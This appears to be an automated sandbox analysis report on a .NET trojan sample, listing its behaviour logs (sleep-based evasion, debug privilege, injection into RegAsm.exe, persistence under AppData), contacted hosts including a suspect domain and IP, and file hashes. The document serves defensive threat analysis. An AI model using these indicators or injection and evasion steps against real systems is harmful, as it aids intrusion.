Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Memory allocated: 1FC70410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Memory allocated: 1FC71E20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory allocated: 1B0B8BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory allocated: 1B0D26A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Memory allocated: 1DC42520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Memory allocated: 1DC5BE20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory allocated: 1F50C580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory allocated: 1F526000000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1199187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198318	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6894	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2807	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 5067	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4566	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 626	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe TID: 6300	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep count: 6894 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep count: 2807 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6996	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe TID: 6712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59733s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59624s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59404s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 1860	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59871s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59405s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -118594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -1199187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -119712s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -1198318s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -118970s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59373s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 6112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59852s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59731s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59374s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59745s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59872s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59755s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59626s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59514s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59392s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe TID: 4928	Thread sleep time: -59267s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe TID: 6708	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe base: 4B6000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe base: 3B0FB0E010	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Queries volume information: C:\Users\user\AppData\Roaming\XsdType\Target.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Queries volume information: C:\Users\user\AppData\Roaming\XsdType\Target.exe VolumeInformation

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.189.173.36	fla1337.site	United Kingdom		786	JANETJiscServicesLimitedGB	false
162.159.135.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

Name	IP	Active
fla1337.site	147.189.173.36	true
cdn.discordapp.com	162.159.135.233	true

ID:	1546576
Product:	CloudBasic
Start time:	06:21:04
Start date:	01.11.2024
Sample:	SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	11b29218685a3c58cab85c9d39d52dce
SHA1:	45eafe726262c18df3ac8d96ec8ecad979d3f9ca
SHA256:	29c2b7c56ba64de00927c8aa2a4b41cead21000b709cb7470b6de6f2370c9178
Filetype:	Win64 Executable GUI Net Framework (217006/5) 49.88%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.log	CSV text	E56A6A79CB531084A51F12C271BE7439	97A016CBE4C221936BAB8F76D33F7C021AA19ADF	FA63B35C53D1B58B86D8C3CB3976AF7B7C096FD787EF1D33F63F5A31C87BC3E3
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Target.exe.log	CSV text	E56A6A79CB531084A51F12C271BE7439	97A016CBE4C221936BAB8F76D33F7C021AA19ADF	FA63B35C53D1B58B86D8C3CB3976AF7B7C096FD787EF1D33F63F5A31C87BC3E3
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	013016A37665E1E37F0A3576A8EC8324	260F55EC88E3C4D384658F3C18C7FDEF202E47DD	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lavtjam.fny.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50wdy5ob.v4u.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55p0ehha.sje.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uywlj2m2.cg1.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Roaming\XsdType\Target.exe	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows	11B29218685A3C58CAB85C9D39D52DCE	45EAFE726262C18DF3AC8D96EC8ECAD979D3F9CA	29C2B7C56BA64DE00927C8AA2A4B41CEAD21000B709CB7470B6DE6F2370C9178
C:\Users\user\AppData\Roaming\XsdType\Target.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

Windows Analysis Report SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Malware Threat Intel
Provided by